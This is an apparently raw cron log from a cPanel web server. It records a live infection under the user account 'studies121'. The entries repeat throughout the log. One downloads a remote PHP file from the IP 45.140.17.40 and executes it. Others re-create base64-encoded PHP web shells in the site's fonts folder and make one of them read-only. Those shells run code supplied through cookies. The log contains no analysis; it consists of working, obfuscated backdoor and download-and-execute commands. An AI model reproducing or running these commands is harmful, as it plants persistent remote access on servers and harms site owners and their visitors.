Sep  2 13:02:01 ip-184-168-122-23 CROND[20476]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:02:01 ip-184-168-122-23 CROND[20477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:02:01 ip-184-168-122-23 CROND[20475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:02:01 ip-184-168-122-23 CROND[20474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:03:01 ip-184-168-122-23 CROND[20644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:03:01 ip-184-168-122-23 CROND[20646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:03:01 ip-184-168-122-23 CROND[20647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:03:01 ip-184-168-122-23 CROND[20649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:04:01 ip-184-168-122-23 CROND[20723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:04:01 ip-184-168-122-23 CROND[20725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:04:01 ip-184-168-122-23 CROND[20726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:04:01 ip-184-168-122-23 CROND[20728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:04:01 ip-184-168-122-23 CROND[20727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:05:01 ip-184-168-122-23 CROND[20819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:05:01 ip-184-168-122-23 CROND[20821]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 13:05:02 ip-184-168-122-23 CROND[20825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:05:02 ip-184-168-122-23 CROND[20828]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:05:02 ip-184-168-122-23 CROND[20827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:05:02 ip-184-168-122-23 CROND[20826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:05:02 ip-184-168-122-23 CROND[20833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:06:01 ip-184-168-122-23 CROND[20924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:06:01 ip-184-168-122-23 CROND[20921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:06:01 ip-184-168-122-23 CROND[20922]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:06:01 ip-184-168-122-23 CROND[20925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:06:01 ip-184-168-122-23 CROND[20923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:07:01 ip-184-168-122-23 CROND[21028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:07:01 ip-184-168-122-23 CROND[21030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:07:01 ip-184-168-122-23 CROND[21029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:07:01 ip-184-168-122-23 CROND[21031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:08:01 ip-184-168-122-23 CROND[21108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:08:01 ip-184-168-122-23 CROND[21111]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:08:01 ip-184-168-122-23 CROND[21112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:08:01 ip-184-168-122-23 CROND[21113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:08:01 ip-184-168-122-23 CROND[21110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:09:01 ip-184-168-122-23 CROND[21202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:09:01 ip-184-168-122-23 CROND[21204]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 13:09:01 ip-184-168-122-23 CROND[21205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:09:01 ip-184-168-122-23 CROND[21203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:09:01 ip-184-168-122-23 CROND[21206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:10:01 ip-184-168-122-23 CROND[21301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:10:01 ip-184-168-122-23 CROND[21303]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 13:10:01 ip-184-168-122-23 CROND[21304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:10:01 ip-184-168-122-23 CROND[21307]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:10:01 ip-184-168-122-23 CROND[21308]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:10:01 ip-184-168-122-23 CROND[21309]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:10:01 ip-184-168-122-23 CROND[21311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:10:01 ip-184-168-122-23 CROND[21313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:11:01 ip-184-168-122-23 CROND[21506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:11:01 ip-184-168-122-23 CROND[21508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:11:01 ip-184-168-122-23 CROND[21510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:11:01 ip-184-168-122-23 CROND[21509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:12:01 ip-184-168-122-23 CROND[21588]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:12:01 ip-184-168-122-23 CROND[21589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:12:01 ip-184-168-122-23 CROND[21591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:12:01 ip-184-168-122-23 CROND[21590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:12:01 ip-184-168-122-23 CROND[21593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:13:01 ip-184-168-122-23 CROND[21674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:13:01 ip-184-168-122-23 CROND[21675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:13:01 ip-184-168-122-23 CROND[21678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:13:01 ip-184-168-122-23 CROND[21679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:14:01 ip-184-168-122-23 CROND[21754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:14:01 ip-184-168-122-23 CROND[21756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
